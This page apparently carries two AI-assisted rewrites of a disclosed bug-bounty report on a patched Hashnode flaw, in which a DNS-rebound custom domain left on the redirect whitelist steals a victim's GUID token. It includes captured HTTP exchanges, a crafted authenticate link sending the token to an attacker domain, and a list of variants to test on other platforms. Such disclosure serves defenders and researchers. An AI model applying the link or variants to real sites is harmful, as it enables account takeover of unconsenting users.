Skip to content
Account takeover Write-up Advanced

Account Takeover due to DNS Rebinding

Hashnode's cross-domain authentication flow validated the 'next' URL against a database of custom domains, but an attacker could bind a legitimate domain to their account and later change its DNS to point to their own server. This allowed the attacker to steal the victim's GUID token and generate a JWT, leading to account takeover.

Yashar Shahinzadeh Follow

Published on blog.voorivex.team

The first eye-catching feature in Hashnode is cross-domain authentication. Personally, when I hunt, I always look for authentication class vulnerabilities, which I'm stronger in, especially when an authentication token is transferring among different places.

Yashar Shahinzadeh, on blog.voorivex.team

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Hashnode is a blogging platform where every blog can be served either from a Hashnode subdomain or from a domain the blog owner controls. This post is served from blog.voorivex.team, a custom domain, rather than from the Hashnode website itself. The feature that makes this possible is cross-domain authentication: a user who already has a session on hashnode.com is meant to be signed in automatically when they visit a CNAMed blog domain, without logging in twice.

The author's interest is authentication class vulnerabilities, particularly where an authentication token moves between different places. The cross-domain handoff is exactly that kind of place.

Setup

A blog owner attaches a custom domain by setting a cname record in their DNS server. That record verifies that the domain belongs to the user, and traffic is then redirected to Hashnode servers.

Hashnode domain settings — option to attach a custom domain
Hashnode domain settings — option to attach a custom domain From the original on blog.voorivex.team
CNAME setup pointing the user's domain at hashnode.network
CNAME setup pointing the user's domain at hashnode.network

On the backend everything is the same for every blog except the host header of the HTTP request. All of Hashnode's blogs share the same IP address, so Hashnode uses the host header to decide which blog to load. From the browser's point of view, however, the origins are different:

  • https://hashnode.com
  • https://blog.voorivex.team

Browsers store data per origin, so a session on hashnode.com does not by itself apply to blog.voorivex.team. The cross-domain authentication flow exists to bridge that gap.

Finding it

The flow itself is the thing to study. It moves a token across three hosts (hashnode.com, hashnode.dev and the blog domain) and ends by handing the blog domain a JWT authentication cookie. The questions the author asked were:

How is the next parameter value validated in the backend? Can the value be anything, or does it just match against the database? What if I change the DNS records of the verified domain?

If the next URL can be manipulated, the GUID token handed to it can be stolen, and a stolen GUID token can be turned into a JWT, which means account takeover.

Exploitation

Step 1: start the flow on hashnode.com

The user opens hashnode.com/authenticate while carrying a JWT authentication cookie. The request has a parameter named next, which is responsible for redirecting the user back afterwards:

HTTP
GET /authenticate?next=https%3A%2F%2Fblog.voorivex.team%2F HTTP/1.1
Host: hashnode.com
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://blog.voorivex.team/
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Te: trailers
Connection: close

The response is a redirect to an intermediate host, hashnode.dev, carrying a guid and the original next value:

HTTP
HTTP/2 307 Temporary Redirect
Age: 0
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Security-Policy: default-src *; script-src * 'unsafe-eval' 'unsafe-inline'; style-src * 'unsafe-inline'; font-src *; img-src * data:
Date: Mon, 15 Apr 2024 15:25:10 GMT
Location: https://hashnode.dev/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https%3A%2F%2Fblog.voorivex.team%2F
Referrer-Policy: origin-when-cross-origin
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Matched-Path: /authenticate
X-Vercel-Cache: MISS
X-Vercel-Id: fra1::pdx1::pldpk-1713194710837-255be6ebcd6a
Content-Length: 112

https://hashnode.dev/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https%3A%2F%2Fblog.voorivex.team%2F

Step 2: the intermediate check on hashnode.dev

There is an intermediate phase in which Hashnode checks the token and the next URL before redirecting the user back:

HTTP
GET /identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https%3A%2F%2Fblog.voorivex.team%2F HTTP/1.1
Host: hashnode.dev
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://blog.voorivex.team/
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Step 3: redirect back to the next value

If the user has a valid JWT authentication cookie and the next value is legitimate, the response redirects to the value of the next parameter, here blog.voorivex.team, which is legitimate in Hashnode. The response also sets a cookie scoped to .hashnode.dev:

HTTP
HTTP/2 307 Temporary Redirect
Age: 0
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Security-Policy: default-src *; script-src * 'unsafe-eval' 'unsafe-inline'; style-src * 'unsafe-inline'; font-src *; img-src * data:
Date: Mon, 15 Apr 2024 15:25:11 GMT
Location: https://blog.voorivex.team/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https://blog.voorivex.team/
Referrer-Policy: origin-when-cross-origin
Server: Vercel
Set-Cookie: redacted
Max-Age=315360000; Domain=.hashnode.dev; HttpOnly
Strict-Transport-Security: max-age=63072000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Matched-Path: /identity
X-Vercel-Cache: MISS
X-Vercel-Id: fra1::pdx1::8tmnc-1713194711393-f85cf186df76
Content-Length: 110

https://blog.voorivex.team/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https://blog.voorivex.team/

Step 4: the blog domain receives the token

The user opens blog.voorivex.team with an authentication token, and if the token is valid they are given a JWT authentication cookie. The whole flow looks like this:

Diagram of Hashnode's cross-domain authentication flow
Diagram of Hashnode's cross-domain authentication flow From the original on blog.voorivex.team

Step 5: abuse the whitelist with DNS rebinding

The author does not re-explain DNS rebinding, only the questions that mattered. The backend checker is described as quite secure, so the question became how Hashnode defines legitimate domains and how the next_check() function operates. The finding: Hashnode verifies the next URL against its database, which includes the list of custom domains. An attacker can therefore bind a legitimate domain to their own account and thereby manipulate the whitelist.

The attack scenario:

  1. The attacker binds a legitimate domain pointing to hashnode.network, in this case https://attacker.voorivex.team.
  2. Since this URL is considered legitimate, the next URL can also be set to https://attacker.voorivex.team.
  3. The attacker then changes the DNS value of attacker.voorivex.team to their own IP address. Before launching the attack they obtain a valid SSL certificate.
  4. Despite the DNS change, the next URL remains valid as https://attacker.voorivex.team. It may take a significant amount of time for Hashnode to update its database, or for DNS caches to expire. The attacker does not remove the domain from the whitelist, only manipulates DNS records, so the domain remains considered legitimate in Hashnode's system.
Text
https://hashnode.com/authenticate?next=https%3A%2F%2Fattacker.voorivex.team%2F

If the victim clicks it, their GUID token will be stolen. The attacker can then produce a JWT from the stolen GUID token and gain unauthorised access to the victim's account.

Step 6: automation

A Python script was written to change the DNS record automatically and then open the malicious URL on behalf of the victim, so that the attack works every time the victim opens the attacker's website. The script is published at gist.github.com/Voorivex/[redacted].

Root cause

The next parameter is validated against a database of custom domains. A domain enters that list when an owner points a cname at hashnode.network; the attacker does not remove the domain from the whitelist, so it remains considered legitimate. It may take a significant amount of time for Hashnode to update its database, so a domain that was once legitimately bound can later resolve to an attacker-controlled IP while remaining on the whitelist. The token is then delivered to whatever server answers for that hostname.

The checker function is described as quite secure, but the weakness is in what counts as a legitimate domain. The weakness is in what "legitimate" means, not in the parsing of the URL.

Impact

An attacker who can get a victim to open the crafted authenticate link receives the victim's GUID token, converts it to a JWT and takes over the victim's account. The victim must have a valid JWT authentication cookie and must click the link. The attacker needs a domain they can bind to Hashnode and later repoint, plus a valid SSL certificate for it. The attack complexity is low, making the overall vulnerability score 8.0 (High).

Fix

After about 20 days, Hashnode patched the vulnerability and issued a bounty.

Variants to test

  • Stale whitelist entries. Bind a domain to the target platform, confirm it is accepted as a redirect target, then repoint its DNS. A positive result is the platform still redirecting a token to the domain after it no longer resolves to the platform.
  • Token in the redirect target. Look for any flow where a next, redirect_uri or return_to value is checked against a stored list rather than resolved live. A positive result is a token, code or cookie arriving at a host you control.
  • Short-lived DNS. Use a very low TTL on the record so the repoint takes effect quickly, and check whether the platform re-validates on each request or only at bind time.
  • Certificate handling. Check whether the platform or the browser enforces anything beyond a valid certificate for the rebound host, since a valid certificate for your own domain is enough to complete the flow.
  • Other cross-domain handoffs. Apply the same reasoning to SSO and identity endpoints on other blogging and SaaS platforms that support custom domains, watching for a GUID or similar intermediate token that can be exchanged for a session.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 17 min read.

What happened, in plain words

Hashnode is a website where people write blogs. Normally your blog lives at an address like something.hashnode.com, but Hashnode also lets you use your own address, for example blog.voorivex.team. The post you are reading sits on such a custom address, not on the Hashnode website itself.

When a blog uses its own address, a visitor who is already logged in to hashnode.com would normally have to log in again on the blog address, because a browser treats every address as a separate place. To spare people that second login, Hashnode built a feature called cross-domain authentication: it quietly carries your login from hashnode.com over to your blog address. That handover is where a security researcher, Yashar Shahinzadeh, found a flaw. By preparing a domain of his own and later changing where that domain points, he could steal a victim's GUID token. With that token he could take over the victim's account. This is called account takeover.

The trick that made it possible is DNS rebinding. DNS is the internet's address book: it translates a name like blog.voorivex.team into the numeric address of a server. Rebinding means changing what a name points to after the name has already been trusted. Hashnode trusted the name because it had once pointed at Hashnode; it may take a significant amount of time for Hashnode to update its database.

Below we walk through the whole story slowly, explaining every term the first time it appears.

The setup: custom domains and why they matter

A blog owner attaches their own domain by adding a cname record in their DNS server. A cname record (short for canonical name) is an entry in the address book that says "this name is really another name". It is like a mail forwarding note: letters addressed to your house get sent on to a different address. Here the note says that the blog domain should be served by Hashnode's servers.

Hashnode domain settings — option to attach a custom domain
Hashnode domain settings — option to attach a custom domain From the original on blog.voorivex.team

The screenshot shows Hashnode's domain settings, where a blog owner can attach a custom domain to their blog.

Setting that record also proves to Hashnode that the domain belongs to the user, because only the real owner can edit the domain's DNS entries. Once the record is in place, visitors to the domain are sent to Hashnode's servers.

CNAME setup pointing the user's domain at hashnode.network
CNAME setup pointing the user's domain at hashnode.network From the original on blog.voorivex.team

The second screenshot shows the cname setup that points the user's own domain at hashnode.network.

From the server's side, every Hashnode blog looks the same. All of them share one IP address, which is the numeric address of the machine that answers requests. To know which blog to show, the server reads the host header of the request. A header is a small labelled line that travels with every web request, and host simply says which name the visitor typed. Think of a large office building with one street address: the receptionist reads the name on the envelope to know which department should get it.

From the browser's side, however, the two addresses are different places. A browser groups stored data by origin, and an origin is the combination of scheme (http or https), host name and port. These two are different origins:

  • https://hashnode.com
  • https://blog.voorivex.team

Because browsers keep data per origin, being logged in on hashnode.com does not by itself log you in on blog.voorivex.team. That gap is exactly what the cross-domain authentication feature was built to close.

Cross-domain authentication, step by step

The feature moves a token between three hosts: hashnode.com, hashnode.dev and the blog domain. A token is a short piece of text that stands in for your login, like a cloakroom ticket: whoever holds the ticket can collect the coat, no questions asked. If someone else gets your ticket, they can act as you.

Here is the flow as the researcher recorded it.

Step 1: the user starts on hashnode.com

The user opens hashnode.com/authenticate while carrying a JWT authentication cookie. A cookie is a small piece of data that a website asks your browser to store and to send back on later requests to that site, which is how a site remembers that you are logged in. JWT stands for JSON Web Token, a standard format for such a token: a signed string that the server can check for tampering.

The request carries a parameter named next, which tells Hashnode where to send the user afterwards. A parameter is a value attached to the end of a web address after a question mark, like an instruction written on the envelope.

HTTP
GET /authenticate?next=https%3A%2F%2Fblog.voorivex.team%2F HTTP/1.1
Host: hashnode.com
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://blog.voorivex.team/
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Line by line:

  • GET /authenticate?next=... HTTP/1.1 is the request line. GET means "give me this page". /authenticate is the page being asked for. next=https%3A%2F%2Fblog.voorivex.team%2F is the parameter, and the %3A and %2F are encoded characters: %3A is a colon and %2F is a slash, so the value decodes to https://blog.voorivex.team/. HTTP/1.1 is the version of the request format.
  • Host: hashnode.com says which site the request is for, the same name-on-the-envelope idea as above.
  • Cookie: redacted is where the browser sends the stored login token. It is blanked out here because it is secret.
  • User-Agent tells the server which browser and operating system are being used.
  • Accept, Accept-Language and Accept-Encoding tell the server which kinds of content, languages and compression the browser can handle.
  • Referer says which page the user came from, here the blog domain.
  • Upgrade-Insecure-Requests: 1 says the browser prefers secure https pages.
  • Sec-Fetch-User: ?1 marks the request as one the user actively triggered, for example by clicking.
  • Te: trailers and Connection: close are low-level transport preferences.

The server answers with a redirect. A redirect is a reply that says "not here, go to this other address instead", and the browser follows it automatically.

HTTP
HTTP/2 307 Temporary Redirect
Age: 0
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Security-Policy: default-src *; script-src * 'unsafe-eval' 'unsafe-inline'; style-src * 'unsafe-inline'; font-src *; img-src * data:
Date: Mon, 15 Apr 2024 15:25:10 GMT
Location: https://hashnode.dev/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https%3A%2F%2Fblog.voorivex.team%2F
Referrer-Policy: origin-when-cross-origin
Server: Vercel
Strict-Transport-Security: max-age=63072000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Matched-Path: /authenticate
X-Vercel-Cache: MISS
X-Vercel-Id: fra1::pdx1::pldpk-1713194710837-255be6ebcd6a
Content-Length: 112

https://hashnode.dev/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https%3A%2F%2Fblog.voorivex.team%2F

Line by line:

  • HTTP/2 307 Temporary Redirect is the status line. 307 is the code for a temporary redirect that keeps the original request method.
  • Age, Cache-Control and Date control caching, that is, whether the browser or an in-between server may keep a copy. no-store says do not keep it at all, which matters for anything login related.
  • Content-Security-Policy is a rule set telling the browser which sources of scripts, styles, fonts and images are allowed on the page.
  • Location is the address the browser is told to go to. It points at hashnode.dev/identity and carries two values: a guid, which is a unique identifier for this handover, and the original next value.
  • Referrer-Policy controls how much of the previous page address is shared with the next site.
  • Server: Vercel names the hosting provider that answered.
  • Strict-Transport-Security tells the browser to keep using https for this site for the given number of seconds.
  • X-Content-Type-Options: nosniff stops the browser from guessing a file's type.
  • X-Frame-Options: deny stops other sites from embedding this page in a frame.
  • X-Matched-Path, X-Vercel-Cache and X-Vercel-Id are hosting-provider bookkeeping headers.
  • Content-Length: 112 is the size of the body.
  • The last line is the body, which repeats the same address as Location.

Step 2: the intermediate check on hashnode.dev

There is a middle stage in which Hashnode checks the token and the next address before sending the user back. The browser now requests the identity page on hashnode.dev:

HTTP
GET /identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https%3A%2F%2Fblog.voorivex.team%2F HTTP/1.1
Host: hashnode.dev
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://blog.voorivex.team/
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Line by line:

  • GET /identity?guid=...&next=... HTTP/1.1 asks for the identity page and passes two parameters: the guid from the previous redirect and the next address. The & separates the two parameters.
  • Host: hashnode.dev shows the request is now aimed at the intermediate host, not at hashnode.com.
  • The remaining lines are the same kind of browser information as in step 1: the stored cookie, the browser identity, accepted content types and languages, the referring page, and transport preferences.

Why this step exists: the platform wants one central place where it can look at the token and at the destination before it hands anything over. This is the checkpoint.

Step 3: the redirect back to the next value

If the user has a valid JWT authentication cookie and the next value is legitimate, the answer redirects to the value of next, here blog.voorivex.team, which Hashnode considers legitimate. The response also sets a cookie scoped to .hashnode.dev:

HTTP
HTTP/2 307 Temporary Redirect
Age: 0
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Security-Policy: default-src *; script-src * 'unsafe-eval' 'unsafe-inline'; style-src * 'unsafe-inline'; font-src *; img-src * data:
Date: Mon, 15 Apr 2024 15:25:11 GMT
Location: https://blog.voorivex.team/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https://blog.voorivex.team/
Referrer-Policy: origin-when-cross-origin
Server: Vercel
Set-Cookie: redacted
Max-Age=315360000; Domain=.hashnode.dev; HttpOnly
Strict-Transport-Security: max-age=63072000
X-Content-Type-Options: nosniff
X-Frame-Options: deny
X-Matched-Path: /identity
X-Vercel-Cache: MISS
X-Vercel-Id: fra1::pdx1::8tmnc-1713194711393-f85cf186df76
Content-Length: 110

https://blog.voorivex.team/identity?guid=f4e4e11f-4c6f-43b7-ab41-6483c52a0b4d&next=https://blog.voorivex.team/

Line by line:

  • The status line and the caching, security and hosting headers are the same kinds as before.
  • Location now points at the blog domain, blog.voorivex.team, and again carries the guid and the next value. This is the handover: the browser is being sent to the blog with the identifier it needs.
  • Set-Cookie is how a server asks the browser to store a cookie. The value is blanked out because it is secret.
  • Max-Age=315360000 says the cookie should be kept for that many seconds, which is about ten years.
  • Domain=.hashnode.dev says the cookie belongs to hashnode.dev and its subdomains, so the browser will send it back to that site.
  • HttpOnly means page scripts cannot read the cookie, only the browser can send it with requests. This protects it from some kinds of theft.
  • The body repeats the Location address.

Step 4: the blog domain receives the token

The user opens blog.voorivex.team with an authentication token, and if the token is valid they are given a JWT authentication cookie. In other words, the blog address now has its own login, handed over from the main site. The whole flow looks like this:

Diagram of Hashnode's cross-domain authentication flow
Diagram of Hashnode's cross-domain authentication flow From the original on blog.voorivex.team

The diagram shows the cross-domain authentication flow between the Hashnode sites and the blog domain.

Step 5: abusing the whitelist with DNS rebinding

The researcher does not re-explain DNS rebinding in the report, only the questions that mattered to him. A whitelist is a list of things that are allowed. The backend checker, the piece of code that decides whether a next address is acceptable, is described as quite secure. So the question became: how does Hashnode decide that a domain is legitimate, and how does the function called next_check() work?

The answer: Hashnode checks the next address against its database, and that database contains the list of custom domains. A database is an organised store of records that the site keeps and looks things up in. An attacker can therefore attach a domain of their own to their Hashnode account, which puts it on the list, and later change where that domain points. It may take a significant amount of time for Hashnode to update its database, so the domain remains considered legitimate.

The attack scenario:

  1. The attacker binds a legitimate domain pointing to hashnode.network, in this case https://attacker.voorivex.team. Binding here means adding the domain to their Hashnode blog through the normal custom-domain feature, so Hashnode records it as trusted.
  2. Since this address is considered legitimate, the next address can also be set to https://attacker.voorivex.team.
  3. The attacker then changes the DNS value of attacker.voorivex.team to their own IP address. Before launching the attack they obtain a valid SSL certificate. An SSL certificate is the digital proof a server presents so that a browser can confirm it is really the site it claims to be, and that the connection is encrypted. Without one, the browser would show a warning and the victim would likely stop.
  4. Despite the DNS change, the next address remains valid as https://attacker.voorivex.team. It may take a significant amount of time for Hashnode to update its database, or for DNS caches to expire. A DNS cache is a stored copy of earlier address-book answers, kept to save time; it can keep serving the old answer for a while. The attacker does not remove the domain from the whitelist, only manipulates DNS records, so the domain remains considered legitimate in Hashnode's system.

The attacker then gives the victim this link:

Text
https://hashnode.com/authenticate?next=https%3A%2F%2Fattacker.voorivex.team%2F

Line by line:

  • https://hashnode.com/authenticate is the real Hashnode login handover page, so the link looks trustworthy.
  • ?next= starts the parameter that says where to send the user afterwards.
  • https%3A%2F%2Fattacker.voorivex.team%2F is the encoded form of https://attacker.voorivex.team/, the attacker's domain, which Hashnode still believes is a legitimate blog domain.

If the victim clicks it, their GUID token will be stolen. The attacker can then produce a JWT from the stolen GUID token and gain unauthorised access to the victim's account. In plain terms: the cloakroom ticket is handed to the wrong counter, and the wrong counter can exchange it for a full set of keys.

Step 6: automation

A Python script was written to change the DNS record automatically and then open the malicious address on behalf of the victim, so that the attack works every time the victim opens the attacker's website. Python is a programming language often used for small tools like this. Automating the DNS change removes the need for the attacker to be at the keyboard at the right moment. The script is published at gist.github.com/Voorivex/[redacted].

Root cause

The next parameter is validated against a database of custom domains. A domain enters that list when an owner points a cname at hashnode.network; the attacker does not remove the domain from the whitelist, so it remains considered legitimate. It may take a significant amount of time for Hashnode to update its database, so a domain that was once legitimately bound can later resolve to an attacker-controlled IP while remaining on the whitelist. The token is then delivered to whatever server answers for that hostname.

The checker function is described as quite secure, but the weakness is in what counts as a legitimate domain. The weakness is in what "legitimate" means, not in the parsing of the URL. Parsing means reading and breaking down the text of the address; that part was done correctly.

Impact

An attacker who can get a victim to open the crafted authenticate link receives the victim's GUID token, converts it to a JWT and takes over the victim's account. The victim must have a valid JWT authentication cookie and must click the link. The attacker needs a domain they can bind to Hashnode and later repoint, plus a valid SSL certificate for it. The attack complexity is low, making the overall vulnerability score 8.0 (High). CVSS is a standard scoring system for the severity of a security flaw, where higher numbers mean more serious.

Fix

After about 20 days, Hashnode patched the vulnerability and issued a bounty.

Variants to test

These are the same ideas applied to other places, for anyone who wants to look for similar flaws:

  • Stale whitelist entries. Bind a domain to the target platform, confirm it is accepted as a redirect target, then repoint its DNS. A positive result is the platform still redirecting a token to the domain after it no longer resolves to the platform.
  • Token in the redirect target. Look for any flow where a next, redirect_uri or return_to value is checked against a stored list rather than resolved live. A positive result is a token, code or cookie arriving at a host you control.
  • Short-lived DNS. Use a very low TTL on the record so the repoint takes effect quickly, and check whether the platform re-validates on each request or only at bind time. TTL, or time to live, is how long a DNS answer may be cached before it must be looked up again.
  • Certificate handling. Check whether the platform or the browser enforces anything beyond a valid certificate for the rebound host, since a valid certificate for your own domain is enough to complete the flow.
  • Other cross-domain handoffs. Apply the same reasoning to SSO and identity endpoints on other blogging and SaaS platforms that support custom domains, watching for a GUID or similar intermediate token that can be exchanged for a session. SSO, single sign-on, is the practice of one login working across several sites; SaaS means software offered as an online service.

Glossary

  • Account takeover: a situation where an attacker gains control of someone else's account.
  • API: a defined way for one piece of software to talk to another, like a service counter with fixed rules for what you can ask.
  • Authentication: proving who you are, usually by logging in.
  • Binding (a domain): attaching a domain to an account or service so the platform records it as belonging to you.
  • Browser: the program you use to visit websites, such as Firefox or Chrome.
  • Cache: a stored copy of earlier answers, kept so the same question does not have to be asked again.
  • CNAME record: a DNS entry saying one name is really another name, like a mail forwarding note.
  • Cookie: a small piece of data a website asks your browser to store and send back on later requests, used to remember you.
  • Cross-domain authentication: a feature that carries a login from one web address to another so the user does not log in twice.
  • CVSS: a standard scoring system for the severity of a security flaw.
  • DNS: the internet's address book, translating names into numeric server addresses.
  • DNS cache: a stored copy of earlier DNS answers, which can keep serving an old address for a while.
  • DNS rebinding: changing what a domain name points to after the name has already been trusted.
  • Domain: a name on the internet, such as hashnode.com.
  • GUID: a long unique identifier, used here to label one handover.
  • Header: a small labelled line of information sent with a web request or response.
  • Host header: the header that says which site name the visitor typed.
  • HttpOnly: a cookie setting that stops page scripts from reading the cookie.
  • IP address: the numeric address of a machine on the internet.
  • JWT: JSON Web Token, a signed text token a server can check for tampering.
  • Origin: the combination of scheme, host name and port that a browser uses to keep data separate per site.
  • Parameter: a value attached to a web address after a question mark, giving the server an instruction.
  • Parsing: reading and breaking down text, such as a web address, into its parts.
  • Redirect: a server reply telling the browser to go to a different address instead.
  • SaaS: software offered as an online service rather than installed locally.
  • SSL certificate: digital proof a server presents so a browser can confirm its identity and encrypt the connection.
  • SSO (single sign-on): one login that works across several sites.
  • Token: a short piece of text that stands in for a login, like a cloakroom ticket.
  • TTL (time to live): how long a DNS answer may be cached before it must be looked up again.
  • Whitelist: a list of things that are allowed.
  • next_check(): the function in Hashnode's backend that decides whether a next address is acceptable.

More by Yashar Shahinzadeh

View all

4 more disclosed reports, best first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.